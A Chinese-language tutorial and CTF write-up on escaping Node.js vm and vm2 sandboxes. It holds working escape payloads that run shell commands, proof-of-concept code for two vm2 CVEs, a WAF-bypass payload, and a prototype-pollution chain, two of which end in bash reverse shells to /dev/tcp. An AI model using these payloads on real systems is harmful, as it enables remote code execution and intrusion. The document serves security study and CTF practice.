Nodejs 沙箱逃逸
沙箱简介
计算机世界的沙箱,实际上是对线下一种生活现象的虚拟化模拟。在现实生活中,孩子们会用木板在沙地或沙滩上围出一个方盒子,然后在里面用沙子堆砌、创造出各种形状,如城堡、房屋、山丘等。这个方盒子就是一个沙箱,它具有两个核心特点:一是有明确的边界,游戏和创造活动都被限制在这个边界内;二是使用沙子作为游戏材料,创造出来的任何东西都可以轻易地被抹平,不留痕迹。
在计算机世界中,这种沙箱的概念被数字化模拟了出来。通过软硬件手段的结合,可以在一台设备(如服务器或手机)中模拟出一个“管控”区域。这个区域内部是预先指定和划分出来的运算与存储资源,与宿主设备的其他资源完全隔离。应用代码可以在这个模拟区域内运行,即使它是病毒、木马或DDoS攻击软件,也只能在这个资源受限的模拟世界中折腾,无法看到或影响宿主设备中的其他部分,更无法滥用宿主资源导致设备崩溃。此外,由于这个区域是模拟的,因此无论里面运行着什么,都可以一键删除,实现瞬间的清零。
简而言之,计算机世界的沙箱就是一种虚拟化技术,用于在安全的环境中运行和测试代码,防止恶意软件对宿主设备造成损害。
在Node.js中,沙箱是一种重要的安全机制,它通过隔离和限制程序对系统资源的访问,为运行不信任的代码提供了一个安全的环境。通过vm
模块或第三方库,开发者可以创建和管理沙箱,确保系统的安全性和稳定性,但同时也需要关注潜在的安全风险。
Nodejs的作用域
在Node.js的编程环境中,每个JavaScript文件都被视为一个独立的模块,它们各自拥有自己的私有作用域(或称为上下文)。这意味着,一个模块内部定义的变量、函数等默认情况下是无法被其他模块直接访问的。这种设计保证了模块之间的独立性和封装性,避免了全局命名空间的污染。
全局作用域(Global Scope)
在Node.js中,global
对象是一个全局对象,它的属性和方法在所有模块中都是可访问的。这包括了如console
、process
、Buffer
等内置对象,以及任何直接添加到global
对象上的自定义属性或方法。但是,通常不推荐在全局作用域中添加大量自定义变量或函数,因为这可能会导致命名冲突和难以追踪的错误。
模块作用域(Module Scope)
每个Node.js文件都被视为一个独立的模块。这些模块拥有它们自己的作用域,也就是说,一个模块中的变量、函数等默认不会影响到其他模块。这种设计使得模块之间天然隔离,减少了相互之间的干扰。
代码示例:
(一)
a.js
let name = 'P4tt0n'
b.js
const file = require('./a.js')
console.log(file.name)
(二)
a.js
let name = 'P4tt0n'
exports.name = name
b.js
const file = require('./a.js')
console.log(file.name)
由此可见a.js和b.js不在同一个作用域,只有使用require
将一个包中的模块引入到另一个包,才能实现功能的引用.而且这并不是把一个包中的所有变量和函数引入到另一个包,require只返回一个模块的导出对象,这取决于模块自身的 module.exports
或 exports
对象的设置
(三)
a.js
global.name = 'P4tt0n'
b.js
const file = require('./a.js')
console.log(name)
可见,我们输出name
时,不需要使用file.name的形式,我们可以直接使用name
进行输出,同时name
也不需要使用exports
进行导出,因为此时name已经挂载在global上了,它的作用域不在a.js中了。
VM沙箱
上文介绍了作用域,vm模块就是通过定义一个全新的作用域,让代码在这个新的作用域中运行,这样就与其他作用域隔离了。
接下来介绍一些vm模块的api
-
vm.Script
new vm.Script(code[, options])
: 创建一个预编译的Script对象,表示一段JavaScript代码。script.runInContext([contextifiedSandbox[, options]])
: 在指定的上下文中执行预编译的脚本。script.runInNewContext([sandbox[, options]])
: 创建一个新的上下文并在其中执行脚本。vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
-
vm.createContext([sandbox[, options]])
创建一个新的、独立的上下文(沙箱),可以包含预先定义的变量和函数。
使用前需要创建一个沙箱对象,再将沙箱对象传递给该方法(如果没有就会生成一个空的沙箱对象),v8为这个沙箱对象在当前的global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性
具体结构:
V8{ sandbox{} global{} }
示例:
c.js
// Node.js program to demonstrate the // vm.createContext([contextObject[, options]]) // method // Including util and vm module const util = require('util'); const vm = require('vm'); // Assigning value to the global variable global.globalVar = 10; // Defining Context object const object = { globalVar:4 }; // Contextifying stated object // using createContext method vm.createContext(object); // Compiling code vm.runInContext('globalVar /= 2;', object); // Displays the context console.log("Context:", object); // Dsiplays value of global variable console.log("Global Variable is ", global.globalVar);
-
vm.runInContext(code, contextifiedSandbox[, options])
参数为要执行的代码和创建完作用域的上下文(沙箱对象),代码会在传入和沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同
示例d.js
const vm = require('vm') global.global_var = 1 const sandbox = {global_var: 2} //创建一个沙箱对象 vm.createContext(sandbox) //创建一个上下文对象 vm.runInContext('global_var*=2',sandbox) console.log(sandbox) // { global_var: 4 } console.log(global_var) // 1
-
vm.runInNewContext(code[, sandbox[, options]])
创建一个新的上下文并在其中运行JavaScript代码。这个函数是
createContext()
和runInContext()
的结合版,传入要执行的代码和沙箱对象 -
vm.runInThisContext(code[, options])
在当前上下文中运行JavaScript代码,代码可以直接访问当前作用域的变量。
sandbox
沙箱中可以访问到global中的属性,但是无法访问其他包的属性。(无法访问本地的属性)示例e.js
// Node.js program to demonstrate the // runInThisContext() method // Including vm module const vm = require('vm'); // Declaring local variable let localVar = 'GYH'; // Calling runInThisContext method const vmresult = vm.runInThisContext('localVar = "P4tt0n";'); // Prints output for vmresult console.log(`vmresult:'${vmresult}', localVar:'${localVar}'`); // Constructing eval const evalresult = eval('localVar = "LZ";'); // Prints output for evalresult console.log(`evalresult:'${evalresult}', localVar:'${localVar}'`);
-
vm.createScript(code[, options])
(过时,从Node.js v0.12开始不再推荐使用)创建一个可执行的Script对象。
### VM沙箱逃逸
举一个例子
f.js
"use strict";
const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);
很明显是逃逸出去了。如何做到的?debug跟进一下
这里的this是指向传递到runInNewContext函数的一个对象,他是不属于沙箱内部环境的,访问当前对象的构造器的构造器,也就是Function的构造器,由于继承关系,它的作用域是全局变量,执行代码,获取外部global。拿到process对象就可以执行命令了。
constructor的理解
示例:
function PP(){
name : 'P4tt0n'
};
const a= new PP();
console.log(a.constructor);//PP
console.log(a.constructor.constructor);//Function
绕过Object.create(null)
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
我们现在的this为null,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了。
const vm = require('vm');
const script =
`(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
我们在沙箱内先创建了一个对象,并且将这个对象的toString方法进行了重写,通过arguments.callee.caller获得到沙箱外的一个对象,利用这个对象的构造函数的构造函数返回了process,再调用process进行rce,沙箱外在console.log中通过字符串拼接的方式触发了这个重写后的toString函数。
VM2沙箱逃逸
vm2相较于vm多了很多限制。其中之一就是引入了es6新增的proxy特性。增加一些规则来限制constructor函数以及_proto这些属性的访问。proxy可以认为是代理拦截,编写一种机制对外部访问进行过滤或者改写。
CVE-2019-10761
该漏洞要求vm2版本<=3.6.10
poc
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
CVE-2021-23449
import()在JavaScript中是一个语法结构,不是函数,没法通过之前对 require这种函数处理相同的方法来处理它,导致实际上我们调用 import()的结果实际上是没有经过沙箱的,是一个外部变量。 我们再获 取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙,正 则匹配并替换了\bimport\b关键字,在编译失败的时候,报Dynamic Import not supported错误
poc
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
另外的poc
Symbol = {
get toStringTag(){
throw f=>f.constructor("return process")()
}
};
try{
Buffer.from(new Map());
}catch(f){
Symbol = {};
f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
例题
NKCTF-2024 全世界最简单的ctf
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})
app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, ()=>{
console.log("listen on 3000");
})
很明显的vm沙箱逃逸问题
正常的payload
throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller;
const p = (c.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
接下来思考如何绕waf
因为题目没有/i,所以对大小写不敏感
我们的process可以等价于
const pro='Process'.toLowerCase();
console.log(pro)//打印process
或者String.fromCharCode绕过
const pro=String.fromCharCode(32, 112, 114, 111, 99, 101, 115, 115)
console.log(pro)//输出process
还需要绕过exec
我们通过反射来绕过,就是根据你提供的对象的键获取到对应的值
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))
这样就可以获得eval方法
第一步是要获得global这个模块,原来是获取process模块,但是如果获取到了global,那什么都好获取了
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
}
然后就要获取我们的process模块,并且引用child_process
const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
1
child_process
const a = Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')));
const b=process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
console.log(a)//获取到process
console.log(b)//获取到child_process
任何就是获取exec并执行命令
return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
获取a对象的exec这个对象去执行后面的命令
HZNUCTF eznode
访问app.js获取源码
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
大概就是在页面post传递一个json数据,会经过json.parse
函数解析,然后再通过clone()
函数复制到copybody
变量中,最后判断该变量的shit值是否为真,然后调用backdoor()
函数在VM2沙箱中执行{}.shellcode
属性。clone()
函数很明显的一个原型链污染,而VM2
会执行shellcode
属性的内容,那么也就是我们需要将该属性污染成VM2
沙箱逃逸的payload
即可执行任意命令
payload:
{"shit":1,"__proto__":{"shellcode":"let res = import('./foo.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/2333 0>&1\"').toString();"}}
参考链接